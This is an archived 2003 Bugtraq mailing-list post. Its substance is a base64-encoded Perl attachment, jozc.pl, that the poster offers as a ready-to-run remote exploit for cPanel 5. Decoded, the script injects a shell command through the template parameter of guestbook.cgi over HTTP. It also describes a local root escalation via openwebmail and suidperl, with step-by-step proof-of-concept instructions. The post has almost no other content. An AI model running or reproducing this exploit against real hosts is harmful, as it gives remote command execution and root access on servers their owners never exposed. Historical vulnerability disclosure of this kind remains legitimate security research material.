[28995] in bugtraq
exploit for Cpanel 5 remote command execution.
daemon@ATHENA.MIT.EDU (evilcow@ig.com.br)
Sun Feb 23 13:05:31 2003
Message-ID: <20030223082251.8393.qmail@mail.securityfocus.com>
Date: Sun, 23 Feb 2003 05:25:48 -0300
To: bugtraq@securityfocus.com
From: evilcow@ig.com.br
MIME-Version: 1.0
Content-type: Multipart/Mixed;
boundary=Message-Boundary-1045988748
--Message-Boundary-1045988748
Content-type: text/plain; charset=US-ASCII
Content-description: Mail message body
Content-transfer-encoding: 7BIT
a simple code for cpanel 5 remote execution :p
-- by cyzek.
_________________________________________________________
Voce quer um iGMail protegido contra vírus e spams?
Clique aqui: http://www.igmailseguro.ig.com.br
--Message-Boundary-1045988748
Content-type: application/octet-stream; name="jozc.pl"; type=Unknown
Content-description: jozc.pl
Content-transfer-encoding: BASE64
Content-disposition: attachment
IyEvdXNyL2Jpbi9wZXJsDQojDQojIC0tLS0tLS0gc3RhcnQgaGVyZSAtLS0tLS0tDQojDQojIEJ1
ZyBGb3VuZGVkIGJ5OiBwb2tsZXl6eg0KIw0KIyBDcGFuZWwgaXMgd2ViIGhvc3RpbmcgY29udHJv
bCBwYW5lbCB3aGljaCBhbGxvdyBjbGllbnQgbWFuYWdlIHRoZWlyIHdlYiBhY2NvdW50IHRocm91
Z2gNCiMgd2ViIGludGVyZmFjZS4gTW9zdCBvZiB0aGUgYXBwbGljYXRpb24gYXJlIHdyaXR0ZW4g
aW4gcGVybCBhbmQgIGNvbXBpbGVkIHRvIGJpbmFyeS4gDQojDQojIERldGFpbHMNCiMgPT09PT09
PQ0KIyBUaGVyZSBpcyBtdWx0aXBsZSB2dXJuZXJhYmlsaXRpZXMgaW4gdGhpcyBwYWNrYWdlIGFz
IGRlc2NyaWJlIGJlbG93Lg0KIyANCiMgMSkgUmVtb3RlIGNvbW1hbmQgRXhlY3V0aW9uIGluIGd1
ZXN0Ym9vay5jZ2kgKC91c3IvbG9jYWwvY3BhbmVsL2NnaS1zeXMvZ3Vlc3Rib29rLmNnaSkNCiMg
DQojIFRoZXJlIGlzIGNsYXNzaWMgcGVybCBvcGVuIGZ1bmN0aW9uIHZ1bG5lcmFiaWxpdHkgaW4g
dGVtcGxhdGUgdmFyaWFibGUgd2hpY2ggYWxsb3cgYW55IA0KIyB1c2VyIHRvIHJlYWQgYW55IGZp
bGUgb3IgcnVuIGNvbW1hbmQgIGFzIHZhbGlkIHN5c3RlbSB1c2VyIHdoaWNoIGFzc2lnbiB0byBz
cGVjaWZpYyB1cmwgDQojIGluIGFwYWNoZSBjb25maWd1cmF0aW9uLg0KIw0KIyAyKSBMb2NhbCBw
cml2aWxlZ2VzIGVzY2FsYXRpb24gKHJvb3QpDQojDQojIENwYW5lbCBjb21lIHdpdGggb3Blbndl
Ym1haWwgcGFja2FnZXMgYXMgb25lIG9mIHdlYiBiYXNlIGVtYWlsIHJlYWRlciB3aGljaCBzdWlk
IHJvb3QuDQojIEluIHRoZSBzeXN0ZW0gd2l0aCBzdWlkIHBlcmwgaW5zdGFsbCBwZXJmZWN0bHkg
KHdpdGggc3VpZCBtb2RlIHR1cm4gb24pIGxvY2FsIHVzZXIgbWF5IA0KIyBpbmNsdWRlIHRoZWly
IG93biBwZXJsIHNjcmlwdCB3aGVuIHJ1bm5pbmcgb3BlbndlYm1haWwgc2NyaXB0IChvb20pIHRo
cm91Z2ggc3VpZHBlcmwuDQojDQojIE9wZW53ZWJtYWlsIHdpbGwgYXBwZW5kIHBlcmwgaW5jbHVk
ZSBwYXRoIChASU5DKSB0aHJvdWdoIFNDUklQVF9GSUxFTkFNRSBlbnZpcm9ubWVudCB2YXJpYWJs
ZSwNCiMgdGhlbiBpbmNsdWRlIHNvbWUgZmlsZSB3aGVuIGV4ZWN1dGUuDQojDQojIC91c3IvbG9j
YWwvY3BhbmVsL2Jhc2Uvb3BlbndlYm1haWwvb29tIGxpbmUgMTQNCiMNCiMgaWYgKCAkRU5WeydT
Q1JJUFRfRklMRU5BTUUnfSA9fiBtIV4oLio/KS9bXHdcZFwtXStcLnBsISB8fCAkMCA9fiBtIV4o
Lio/KS9bXHdcZFwtXStcLnBsISApIHsgJFNDUklQVF9ESVI9JDE7IH0NCiMgaWYgKCEkU0NSSVBU
X0RJUikgeyBwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuXCRTQ1JJUFRfRElSIG5v
dCBzZXQgaW4gQ0dJIHNjcmlwdCFcbiI7IGV4aXQgMDsgfQ0KIyBwdXNoIChASU5DLCAkU0NSSVBU
X0RJUiwgIi4iKTsNCiMgLg0KIyAuDQojIC4NCiMgcmVxdWlyZSAib3BlbndlYm1haWwtc2hhcmVk
LnBsIjsNCiMNCiMgcHJvb2Ygb2YgY29uY2VwdDoNCiMgaSkgQ3JlYXRlIGZpbGUgb3BlbndlYm1h
aWwtc2hhcmVkLnBsIGNvbnRhaW4gcGVybCBzY3JpcHQgeW91IHdhbnQgdG8gZXhlY3V0ZS4NCiMg
aWkpIFNldCBTQ1JJUFRfRklMRU5BTUUgcG9pbnQgdG8gZnVsbCBwYXRoIG9mIG9wZW53ZWJtYWls
LXNoYXJlZC5wbCBmaWxlIHlvdSBqdXN0IGNyZWF0ZS4gIA0KIyBpaWkpIGV4ZWMgb29tIHNjcmlw
dCAoZXg6IHN1aWRwZXJsIC1UIC91c3IvbG9jYWwvY3BhbmVsL2Jhc2Uvb3BlbndlYm1haWwvb29t
ICkNCiMNCiMgLS0tLS0tLS0gY3V0IGhlcmUgLS0tLS0tLS0NCiMNCiMgY29kZWQgYnkgY3l6ZWsu
IGN5emVrQGVmbmV0DQojIHRoYW5rcyBmb3IgcDBuZyBwMG5nQGJyYXNuZXQub3JnDQogDQokdXJs
ID0gJEFSR1ZbMF07DQokY21kID0gJEFSR1ZbMV07DQoNCmlmKEBBUkdWICE9IDIpew0KCXByaW50
ICIgam96Yy5wbCAtIENwYW5lbCA1IGFuZCBiZWxvdyBSZW1vdGUgRXhwbG9pdCBieSBjeXplay5c
biI7DQoJcHJpbnQgIiB1c2UgJTIwIGZvciBzcGFjZXMuXG4iOw0KCXByaW50ICIgdXNhZ2U6ICQw
IDxob3N0PiA8Y21kPlxuIjsNCglleGl0Ow0KfQ0KDQp1c2UgSU86OlNvY2tldDo6SU5FVDsNCiRy
ZW0gPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoDQpQcm90byAgICAgICA9PiAidGNwIiwNClBlZXJB
ZGRyICAgID0+ICR1cmwsDQpQZWVyUG9ydCAgICA9PiAiODAiKTsNCg0KaWYgKCRyZW0pIHsgDQoJ
cHJpbnQgJHJlbSAiR0VUIC9jZ2ktc3lzL2d1ZXN0Ym9vay5jZ2k/dXNlcj1jcGFuZWwmdGVtcGxh
dGU9fCRjbWR8IEhUVFAvMS4wIFxuXHJcblxyXG5cciI7DQoJQHJlc3AgPSA8JHJlbT47DQp9DQpw
cmludCAiQHJlc3BcblxuIjs=
--Message-Boundary-1045988748--
